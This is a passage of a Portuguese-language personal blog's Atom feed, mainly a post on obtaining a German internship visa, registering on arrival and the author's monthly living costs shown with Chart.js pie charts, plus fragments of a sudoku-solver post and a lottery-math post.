	           &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	           &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reshape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Após resolvermos o problema, ele acha duas soluções:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 2 6 7 5 1 4 9 3]
 [4 5 9 8 6 3 7 2 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]
[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 5 9 7 6 1 4 2 3]
 [4 2 6 8 5 3 7 9 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Estágio na Alemanha</title>
   <link href="https://bvanelli.github.io/2019/06/09/estagio-na-alemanha/"/>
   <updated>2019-06-09T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2019/06/09/estagio-na-alemanha</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Esse artigo contém informações atualizadas para a data que foi escrito. Para se assegurar, sempre consulte as informações disponíveis &lt;a href=&quot;https://brasil.diplo.de/br-pt&quot;&gt;no site do consulado brasileiro&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#o-processo-de-visto&quot; id=&quot;markdown-toc-o-processo-de-visto&quot;&gt;O processo de visto&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#contrato-de-trabalho&quot; id=&quot;markdown-toc-contrato-de-trabalho&quot;&gt;Contrato de trabalho&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#autorização-do-zav&quot; id=&quot;markdown-toc-autorização-do-zav&quot;&gt;Autorização do ZAV&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#autorização-de-residência-e-declaração&quot; id=&quot;markdown-toc-autorização-de-residência-e-declaração&quot;&gt;Autorização de residência e declaração&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#fotos-biométricas&quot; id=&quot;markdown-toc-fotos-biométricas&quot;&gt;Fotos biométricas&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#seguro-saúde&quot; id=&quot;markdown-toc-seguro-saúde&quot;&gt;Seguro-saúde&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#encontrando-moradia&quot; id=&quot;markdown-toc-encontrando-moradia&quot;&gt;Encontrando moradia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#chegando-no-país&quot; id=&quot;markdown-toc-chegando-no-país&quot;&gt;Chegando no país&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#anmeldung&quot; id=&quot;markdown-toc-anmeldung&quot;&gt;Anmeldung&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#número-de-identificação&quot; id=&quot;markdown-toc-número-de-identificação&quot;&gt;Número de identificação&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#se-mantendo-no-país&quot; id=&quot;markdown-toc-se-mantendo-no-país&quot;&gt;Se mantendo no país&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;o-processo-de-visto&quot;&gt;O processo de visto&lt;/h2&gt;

&lt;p&gt;O processo de visto, como você bem poderia esperar, é burocrático. As instruções completas podem ser encontradas &lt;a href=&quot;https://brasil.diplo.de/blob/1050650/9bb997dc0ec7cec0fbd18a40f4ec6992/merkblatt-praktikantenvisum-pt-data.pdf&quot;&gt;em português&lt;/a&gt; e &lt;a href=&quot;https://brasil.diplo.de/blob/1053438/6e64650da09237f5856fe6e63707fb47/merkblatt-praktikantenvisum-data.pdf&quot;&gt;em alemão&lt;/a&gt; no site do consulado.&lt;/p&gt;

&lt;p&gt;Existem duas coisas básicas que você precisa &lt;strong&gt;do seu empregador&lt;/strong&gt; para tirar um visto de estágio:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Contrato de trabalho com indicação de remuneração mensal.&lt;/li&gt;
  &lt;li&gt;Autorização do ZAV (Serviço de colocação internacional).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adicionalmente, você vai precisar dos seguintes documentos, que você pode preencher/obter no Brasil:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Requerimento de autorização de residência&lt;/li&gt;
  &lt;li&gt;Declaração nos termos do n.° 2, ponto 8, do artigo 54.°em conjugação com o artigo 53.° da Lei alemã de residência&lt;/li&gt;
  &lt;li&gt;Duas fotos biométricas atuais (3,5 x 4,5 cm)&lt;/li&gt;
  &lt;li&gt;Certificado de matrícula&lt;/li&gt;
  &lt;li&gt;Comprovante de seguro-saúde&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brasil.diplo.de/blob/1050652/9bed50dc383897ca12bfc009b6450423/checklist-visto-estagio-pt-data.pdf&quot;&gt;Checklist de documentos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No momento que você possuir todos os documentos, você pode &lt;a href=&quot;https://brasil.diplo.de/br-pt/servicos/agendamento/1010152&quot;&gt;agendar um horário&lt;/a&gt; no consulado de sua região. Tenha em mente que os horários são escassos e agende com antecedência. Todos os documentos podem ser apresentados como cópia, então não é necessário que você receba os originais pelo correio. A seguir são descritos brevemente cada um dos documentos.&lt;/p&gt;

&lt;h3 id=&quot;contrato-de-trabalho&quot;&gt;Contrato de trabalho&lt;/h3&gt;

&lt;p&gt;O contrato de trabalho é uma questão complicada. O empregador não pode fazer o contrato de trabalho sem o visto, e você não consegue tirar o visto sem um contrato de trabalho. Geralmente, isso é resolvido levando uma carta de aceite que a maioria das empresas dá, que é assinado por ambas as partes. O consulado sempre reclama mas acaba aceitando os documentos. Burocracia, na sua melhor forma!&lt;/p&gt;

&lt;p&gt;O salário mínimo para tirar o visto é de &lt;del&gt;720 euros&lt;/del&gt; 853 euros (valor atualizado em 01/09/2019)  por mês. Se você ganhar menos que isso, você precisa de outros documentos para comprovar como que você planeja se manter. Entre em contato com o consulado nesses casos para se informar qual o melhor método de comprovação. Caso tenha sido oferecido menos, tente negociar com seu empregador um salário maior enviando as instruções de visto em alemão. Ganhar menos que isso irá fazer com que você tenha que investir muito dos próprios recursos para se manter no país.&lt;/p&gt;

&lt;h3 id=&quot;autorização-do-zav&quot;&gt;Autorização do ZAV&lt;/h3&gt;

&lt;p&gt;O ZAV (&lt;em&gt;Zentrale Auslands- und Fachvermittlung&lt;/em&gt; ou Colocação externa estrangeira e especializada) é um departamento da agência federal de empregos. Ela é responsável por aprovar os pedidos de trabalho na Alemanha. Você deve informar ao seu empregador no início da contratação que eles devem solicitar essa aprovação porque ela pode demorar algum tempo (e acredite, é um tempo doloroso!).&lt;/p&gt;

&lt;h3 id=&quot;autorização-de-residência-e-declaração&quot;&gt;Autorização de residência e declaração&lt;/h3&gt;

&lt;p&gt;Esse dois documentos podem ser encontrados &lt;a href=&quot;https://brasil.diplo.de/blob/1050727/5714cfe359d562e69115c2e853f053ee/antrag-auf-ein-nationales-visum-pt-data.pdf&quot;&gt;aqui&lt;/a&gt;. As primeiras 4 páginas representam o pedido de autorização de residência e a última a declaração nos termos do n.°2, ponto 8, do artigo 54.° em conjugação com o artigo 53.° da Lei alemã de residência. O primeiro documento são informações suas e o segundo documento atesta que as informações fornecidas estão corretas.&lt;/p&gt;

&lt;p&gt;Algumas dúvidas podem surgir no preenchimento da autorização de residência. Algumas das respostas abaixo:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Autorização de residência n°&lt;/strong&gt; não precisa ser preenchido.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Residência prevista na República Federal da Alemanha&lt;/strong&gt; é o local aproximado onde você precisa morar. Eu coloquei o endereço do empregador. Conheci gente que colocou apenas a cidade.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Eu não pretendo ficar mais de doze meses na Alemanha e solicito um visto com uma validade para todo o tempo da minha permanência.&lt;/strong&gt; Apesar de estar escrito que eles fornecem um visto de 90 dias, eles &lt;strong&gt;normalmente&lt;/strong&gt; dão o visto para todo o período de estágio. Eu digo normalmente porque em algumas ocasiões (&lt;em&gt;cof&lt;/em&gt; minha &lt;em&gt;cof&lt;/em&gt;), mesmo levando &lt;em&gt;exatamente&lt;/em&gt; os mesmos documentos que outra pessoa que ganhou o visto completo eles insistem em te dar o visto de 90 dias, fazendo com que você tenha que renovar ele na Alemanha e passar por todo esse processo burocrático lá. Pelos casos que conheci, esse processo é meio arbitrário e não tem indicação clara de que pode ocorrer. Então boa sorte!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Permanência prevista na República Federal da Alemanha&lt;/strong&gt; é, literalmente, quanto tempo você planeja ficar na Alemanha (&lt;em&gt;dããã&lt;/em&gt;). Como você não tem previsão de ida nem de volta, vale deixar alguns dias de margem no período de início e fim de estágio.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;fotos-biométricas&quot;&gt;Fotos biométricas&lt;/h3&gt;

&lt;p&gt;Apesar do nome, nada mais são que fotos normais de documento, mas com tamanho de 3,5 x 4,5 cm em vez do tamanho tradicional brasileiro 3x4. O modelo de fotos &lt;a href=&quot;https://brasil.diplo.de/blob/1050724/6e3eee9fd4d86e16aaefe0e92d809332/fotomustertafel-engl-data.pdf&quot;&gt;pode ser encontrado no site do consulado.&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;seguro-saúde&quot;&gt;Seguro-saúde&lt;/h3&gt;

&lt;p&gt;Para viajar, é necessário contratar um seguro-saúde temporário. Seu seguro definitivo irá ser contratado na Alemanha. Você deve estar se perguntando, se eu não sei quando vou viajar, como posso contratar um seguro-saúde pro período? A resposta é ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯. O ideal é você pegar o seguro da data prevista de viagem até o início do seu estágio, quando teoricamente você já vai ter um seguro no país. Decidir o seguro-saúde que você vai contratar para esse período é importante, pois vale a máxima: &lt;em&gt;“Você nunca sabe quando vai ser atropelado de bicicleta.”&lt;/em&gt;. Tenha consciência que imprevistos acontecem e esteja segurado contra problemas com a viagem ou acidentes.&lt;/p&gt;

&lt;p&gt;O seguro no país é pago como uma determinada porcentagem do salário. As seguradoras mais famosas são AOK e TK, mas existem outras entre as quais você pode escolher. Eu nunca precisei acionar o seguro então não faço ideia de qual seja boa/ruim.&lt;/p&gt;

&lt;h2 id=&quot;encontrando-moradia&quot;&gt;Encontrando moradia&lt;/h2&gt;

&lt;p&gt;Se você acha que passar na entrevista de emprego foi difícil, você vai ficar surpreso ao tentar achar moradia. São centenas de estudantes, estagiários e trabalhadores buscando ferozmente um lugar para dormir a noite. Devido ao alto custo de moradia, é comum moradias compartilhadas denominadas &lt;em&gt;Wohngemeinschaft&lt;/em&gt;, ou WGs.&lt;/p&gt;

&lt;p&gt;Para melhor te auxiliar, existe um site chamado &lt;a href=&quot;https://www.wg-gesucht.de/&quot;&gt;WG gesucht&lt;/a&gt; onde você pode procurar um WG para morar. Crie um perfil e preencha informações sobre você. É importante você se dedicar um pouco na tarefa de se vender, então inclua bastante informação e boas fotos.&lt;/p&gt;

&lt;h2 id=&quot;chegando-no-país&quot;&gt;Chegando no país&lt;/h2&gt;

&lt;p&gt;Você conseguiu passar pela demora do ZAV, pela longa viagem até o consulado e pelos mais de 12h de voo para chegar na Alemanha. Após apreciar o mais tradicional prato alemão Döner Kebab na kebaberia mais próxima, você tem que voltar aos seus afazeres, que são:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Realizar o &lt;em&gt;Anmeldung&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Receber seu número de identificação&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;anmeldung&quot;&gt;Anmeldung&lt;/h3&gt;

&lt;p&gt;O &lt;em&gt;Anmeldung&lt;/em&gt;, ou “inscrição”, é o registro que você faz quando você entra no país ou muda de endereço. É necessário realizar esse registro em até 14 dias após se mudar para o novo endereço, embora ninguém realmente irá verificar se você realmente respeitou o prazo. Esse registro é &lt;strong&gt;extremamente&lt;/strong&gt; importante já que ele é requisito para receber seu número de identificação na Alemanha, semelhante ao nosso CPF.&lt;/p&gt;

&lt;p&gt;Caso ainda não tenha moradia definitiva ao chegar na Alemanha, você ainda pode realizar seu &lt;em&gt;anmeldung&lt;/em&gt; usando o seu endereço temporário, incluindo seu Airbnb. Fale com o dono ou quem te aluga o quarto e peça para assinar o pedido de registro. Ao se mudar para sua residência definitiva, você deve realizar o &lt;em&gt;anmeldung&lt;/em&gt; novamente.&lt;/p&gt;

&lt;p&gt;Para realizar o &lt;em&gt;anmeldung&lt;/em&gt;, basta se dirigir ao &lt;em&gt;Bürgerbüro&lt;/em&gt; mais próximo com os seguintes documentos. Infelizmente, cada cidade tem seu próprio modelo de formulário, então verifique no site qual os documentos requeridos (exemplos para Stuttgart).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Passaporte&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Wohnungsgeberbestätigung&lt;/em&gt;, formulário assinado pelo proprietário que comprova que você mora na casa. &lt;a href=&quot;https://www.stuttgart.de/img/mdb/form/6984/112335.pdf&quot;&gt;Exemplo de Stuttgart.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Anmeldung bei einer Meldebehörde&lt;/em&gt;, formulário de registro com suas informações. &lt;a href=&quot;https://www.stuttgart.de/img/mdb/form/912/112337.pdf&quot;&gt;Exemplo de Stuttgart em alemão&lt;/a&gt; e &lt;a href=&quot;https://www.stuttgart.de/img/mdb/form/912/32213.pdf&quot;&gt;em inglês (preencher o em alemão!)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;número-de-identificação&quot;&gt;Número de identificação&lt;/h3&gt;

&lt;p&gt;Realizado o &lt;em&gt;anmeldung&lt;/em&gt;, você deverá receber seu número de identificação em pelo correio no endereço que você registrou. Caso não possa esperar (e geralmente não podemos), compareça a algum &lt;em&gt;Finanzamt&lt;/em&gt; alguns dias depois de realizar seu &lt;em&gt;anmeldung&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;se-mantendo-no-país&quot;&gt;Se mantendo no país&lt;/h2&gt;

&lt;p&gt;Falamos sobre a burocracia inicial, agora você com sorte já tem casa, está devidamente registrado e precisa se manter no país usando seu suado dinheirinho. Infelizmente, sites sobre custo de vida como &lt;a href=&quot;https://pt.numbeo.com&quot;&gt;Numbeo&lt;/a&gt; tem o problema de não captarem exatamente o dia-a-dia de alguém com um orçamento fixo máximo. Embora os preços médios sejam precisos, eles não levam em conta as loucuras e os imprevistos na montanha-russa que caracteriza o estilo de vida estudante.&lt;/p&gt;

&lt;p&gt;Então eu anotei TODOS os meus custos categorizados durante os 5 meses de estágio. Me disseram que não era desse mundo fazer gráficos assim, então eu decidi fazer. Se você estiver curioso, eu usei o &lt;a href=&quot;https://www.gnucash.org/&quot;&gt;GnuCash&lt;/a&gt; para contabilidade e exportei os dados das 6 áreas de maior custo em cada mês. O resto dos gasto foi categorizado como ‘Outros’.&lt;/p&gt;

&lt;!-- script necessário para gráficos --&gt;
&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.8.0/Chart.bundle.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
.custom_canvas{
    width: 60%;
    margin: auto;
}

@media only screen and (max-width: 720px) {
    .custom_canvas {
        width: 100%;
    }
}
&lt;/style&gt;

&lt;div class=&quot;custom_canvas&quot;&gt;
&lt;canvas id=&quot;december-chart&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;margin-bottom: 3rem&quot;&gt;&lt;/canvas&gt;
&lt;canvas id=&quot;january-chart&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;margin-bottom: 3rem&quot;&gt;&lt;/canvas&gt;
&lt;canvas id=&quot;february-chart&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;margin-bottom: 3rem&quot;&gt;&lt;/canvas&gt;
&lt;canvas id=&quot;march-chart&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;margin-bottom: 3rem&quot;&gt;&lt;/canvas&gt;
&lt;canvas id=&quot;april-chart&quot; width=&quot;100&quot; height=&quot;100&quot; style=&quot;margin-bottom: 3rem&quot;&gt;&lt;/canvas&gt;
&lt;/div&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Mês&lt;/th&gt;
      &lt;th&gt;Gasto&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Dezembro/2018&lt;/td&gt;
      &lt;td&gt;€ 725.80&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Janeiro/2019&lt;/td&gt;
      &lt;td&gt;€ 653.12&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fevereiro/2019&lt;/td&gt;
      &lt;td&gt;€ 686.06&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Março/2019&lt;/td&gt;
      &lt;td&gt;€ 800.10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Abril/2019&lt;/td&gt;
      &lt;td&gt;€ 997.13&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Média mensal&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;€ 772.44&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Como vocês podem ver, a maior parte do gasto é aluguel e transporte, com o aluguel contribuindo cerca de 50% dos gastos mensais. O transporte público é o preço do passe mensal e varia de cidade para cidade. Se você morar em uma cidade menor, tanto a moradia quanto o valor do transporte será menor e com isso você consegue economizar.&lt;/p&gt;

&lt;p&gt;Refeições estão por volta de €70.00/mês e esse valor depende muito se a empresa subsidia parte da refeição no almoço. Os gastos com mercado giravam em torno de €50.00/mês para comer bem.&lt;/p&gt;

&lt;p&gt;Os valores de entretenimento incluem gastos em fim de semana e viagens. É possível se divertir muito sem gastar tanto dinheiro, mas isso fica para um outro post. Ah, e se você estiver se perguntando porque eu gastei tanto em entretenimento no último mês, espere até chegar &lt;em&gt;o seu&lt;/em&gt; último mês.&lt;/p&gt;

&lt;script&gt;
// configuração de gráficos
tooltipsConfig = {
    callbacks: {
        label: function(tooltipItem, data) {
            var dataset = data.datasets[tooltipItem.datasetIndex];
            var total = dataset.data.reduce(function(previousValue, currentValue, currentIndex, array) {
                return previousValue + currentValue;
            });
            var currentValue = dataset.data[tooltipItem.index];
            var percentage = (currentValue/total) * 100;
            return data.labels[tooltipItem.index] + &apos;: &apos; + percentage.toFixed(2) + &quot;%&quot;;
        }
    }
}

var backgroundColorConfig = [
    &apos;rgba(255, 99, 132, 0.7)&apos;,
    &apos;rgba(54, 162, 235, 0.7)&apos;,
    &apos;rgba(255, 206, 86, 0.7)&apos;,
    &apos;rgba(75, 192, 192, 0.7)&apos;,
    &apos;rgba(153, 102, 255, 0.7)&apos;,
    &apos;rgba(255, 159, 64, 0.7)&apos;,
    &apos;rgba(117, 159, 64, 0.7)&apos;
]

const borderColorConfig = [
    &apos;rgba(255, 99, 132, 1)&apos;,
    &apos;rgba(54, 162, 235, 1)&apos;,
    &apos;rgba(255, 206, 86, 1)&apos;,
    &apos;rgba(75, 192, 192, 1)&apos;,
    &apos;rgba(153, 102, 255, 1)&apos;,
    &apos;rgba(255, 159, 64, 1)&apos;,
    &apos;rgba(117, 159, 64, 1)&apos;
]

// gráfico de dezembro
new Chart(document.getElementById(&apos;december-chart&apos;).getContext(&apos;2d&apos;), {
    type: &apos;pie&apos;,
    data: {
        labels: [&apos;Aluguel (€ 345,00)&apos;, &apos;Transporte público (€ 96.50)&apos;, &apos;Mercado (€ 83.75)&apos;, &apos;Roupas (€ 67.88)&apos;, &apos;Refeições (€ 59.40)&apos;, &apos;Eletrônicos (€ 23.56)&apos;, &apos;Outros (€ 49.71)&apos;],
        datasets: [{
            data: [345, 96.50, 83.75, 67.88, 59.40, 23.56, 49.71],
            backgroundColor: backgroundColorConfig,
            borderColor: borderColorConfig,
            borderWidth: 1
        }]
    },
    options: {
        title: {
            display: true,
            text: &apos;Gastos em Dezembro de 2018&apos;
        },
        tooltips: tooltipsConfig
    }
});

// gráfico de janeiro
new Chart(document.getElementById(&apos;january-chart&apos;).getContext(&apos;2d&apos;), {
    type: &apos;pie&apos;,
    data: {
        labels: [&apos;Aluguel (€ 345,00)&apos;, &apos;Transporte público (€ 86.50)&apos;, &apos;Mercado (€ 50.63)&apos;, &apos;Entretenimento (€ 66.47)&apos;, &apos;Refeições (€ 69.70)&apos;, &apos;Telefonia (€ 15.00)&apos;, &apos;Outros (€ 19.82)&apos;],
        datasets: [{
            data: [345, 86.50, 50.63, 66.47, 69.70, 15.00, 19.82],
            backgroundColor: backgroundColorConfig,
            borderColor: borderColorConfig,
            borderWidth: 1
        }]
    },
    options: {
        title: {
            display: true,
            text: &apos;Gastos em Janeiro de 2019&apos;
        },
        tooltips: tooltipsConfig
    }
});

// gráfico de fevereiro
new Chart(document.getElementById(&apos;february-chart&apos;).getContext(&apos;2d&apos;), {
    type: &apos;pie&apos;,
    data: {
        labels: [&apos;Aluguel (€ 345,00)&apos;, &apos;Transporte público (€ 86.50)&apos;, &apos;Mercado (€ 47.19)&apos;, &apos;Entretenimento (€ 66.85)&apos;, &apos;Refeições (€ 74.70)&apos;, &apos;Renovação de visto (€ 56.00)&apos;, &apos;Outros (€ 9.82)&apos;],
        datasets: [{
            data: [345, 86.50, 47.19, 66.85, 74.70, 56.00, 9.82],
            backgroundColor: backgroundColorConfig,
            borderColor: borderColorConfig,
            borderWidth: 1
        }]
    },
    options: {
        title: {
            display: true,
            text: &apos;Gastos em Fevereiro de 2019&apos;
        },
        tooltips: tooltipsConfig
    }
});

// gráfico de março
new Chart(document.getElementById(&apos;march-chart&apos;).getContext(&apos;2d&apos;), {
    type: &apos;pie&apos;,
    data: {
        labels: [&apos;Aluguel (€ 345,00)&apos;, &apos;Transporte público (€ 86.50)&apos;, &apos;Mercado (€ 73.63)&apos;, &apos;Entretenimento (€ 110.00)&apos;, &apos;Refeições (€ 72.90)&apos;, &apos;Eletrônicos (€ 65.89)&apos;, &apos;Outros (€ 46.18)&apos;],
        datasets: [{
            data: [345, 86.50, 73.63, 110.00, 72.90, 65.89, 46.18],
            backgroundColor: backgroundColorConfig,
            borderColor: borderColorConfig,
            borderWidth: 1
        }]
    },
    options: {
        title: {
            display: true,
            text: &apos;Gastos em Março de 2019&apos;
        },
        tooltips: tooltipsConfig
    }
});

// gráfico de abril
new Chart(document.getElementById(&apos;april-chart&apos;).getContext(&apos;2d&apos;), {
    type: &apos;pie&apos;,
    data: {
        labels: [&apos;Aluguel (€ 345,00)&apos;, &apos;Transporte público (€ 67.60)&apos;, &apos;Mercado (€ 44.16)&apos;, &apos;Entretenimento (€ 455.18)&apos;, &apos;Refeições (€ 62.20)&apos;, &apos;Telefonia (€ 15.00)&apos;, &apos;Outros (€ 7,99)&apos;],
        datasets: [{
            data: [345, 67.60, 44.16, 455.18, 62.20, 15.00, 7.99],
            backgroundColor: backgroundColorConfig,
            borderColor: borderColorConfig,
            borderWidth: 1
        }]
    },
    options: {
        title: {
            display: true,
            text: &apos;Gastos em Abril de 2019&apos;
        },
        tooltips: tooltipsConfig
    }
});
&lt;/script&gt;

</content>
 </entry>
 
 <entry>
   <title>A Matemática da Mega da Virada</title>
   <link href="https://bvanelli.github.io/2017/12/30/mega-da-virada/"/>
   <updated>2017-12-30T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2017/12/30/mega-da-virada</id>
   <content type="html">&lt;!-- Include MathJax to render LaTeX. This might not work --&gt;
